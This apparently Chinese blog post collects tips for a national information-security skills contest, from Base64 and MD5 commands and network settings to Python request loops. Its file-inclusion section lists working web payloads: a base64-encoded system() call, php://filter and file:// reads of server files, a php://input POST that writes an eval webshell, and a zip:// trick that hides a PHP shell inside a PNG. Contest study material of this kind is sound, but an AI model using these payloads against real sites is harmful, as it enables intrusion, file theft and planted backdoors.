zoukankan      html  css  js  c++  java
  • 全国职业技能大赛信息安全管理与评估-一些细节tips

     Base64加解密:

    ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64
    aWxvdmV5b3UK
    ubuntu@VM-0-5-ubuntu:~$ echo aWxvdmV5b3UK | base64 -d
    iloveyou


     MD5加解密:

    ubuntu@VM-0-5-ubuntu:~$ openssl
    OpenSSL> md5
    iloveyou #这里按三次ctrl+d
    (stdin)= f25a2fc72690b780b2a14e140ef6a9e0


     文件包含读取文件:

      shell.php?s=system(base64_decode("ZGlyIEQ6Cg=="));
      通过伪协议读取文件:php://filter/convert.base64-encode/resource=index.php

      也可以直接利用file协议:http://127.0.0.1/test.php?file=file://C: empflag.txt

       通过伪协议写文件:file.php?file=php://input 然后POST:<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>即可生成webshell 

      ZIP://1.png%231.php #把1.php压缩为1.rar然后改后缀为1.png,然后可以通过zip协议读取压缩包里得马


       把文件读取的命令全改名了。


    Urllib GET、POST请求脚本:

    POST:

    #-*- coding:utf-8 -*-
    #09.urllib2_post.py
    
    import urllib
    import urllib2
    
    #POST请求的目标URL
    for i in range(1,255):
        url = "http://127.0.0.{1}/1.php".format(str(i))
        headers = {"User-Agent":"Mozilla...."}
        formate = {
            "f":"flag",
        }
        data = urllib.urlencode(formate)
        request = urllib2.Request(url, data=data, headers = headers)
        response = urllib2.urlopen(request)
        print(response.read())

    GET:

    #!/usr/bin/env python
    # encoding: utf-8
    import urllib
    import urllib2
    
    for i in range(1,255):
        url = "http://127.0.0.{0}/1.php".format(str(i))
        request = urllib2.Request(url=url)
        response =urllib2.urlopen(request,timeout=20)
        result = unicode(response.read())
        print result

    设置IP和掩码

    ifconfig eth0 192.168.5.40 netmask 255.255.255.0
    设置网关
    route add default gw 192.168.5.1


     

    如果你觉得这篇文章对你有用你可以通过扫描下面的二维码进行打赏。

    ——>微信<——             ——>支付宝<——

     

  • 相关阅读:
    在CentOS7上安装MySQL5.7-YUM源方式
    自动重建索引
    Oracle EM12c 安装
    CentOS 7 安装oracle 11G
    oracle 11.2.0.4 dbca创建数据库时 报错ORA-12532
    CentOS 7 安装oracle 11.2.0.4 Error in invoking target 'agent nmhs' of makefile
    Oracle db file parallel write 和 log file parallel write 等待事件
    转:ORA-15186: ASMLIB error function = [asm_open], error = [1], 2009-05-24 13:57:38
    笔记:Memory Notification: Library Cache Object loaded into SGA
    Oracle补全日志(Supplemental logging)
  • 原文地址:https://www.cnblogs.com/nul1/p/10990249.html
Copyright © 2011-2022 走看看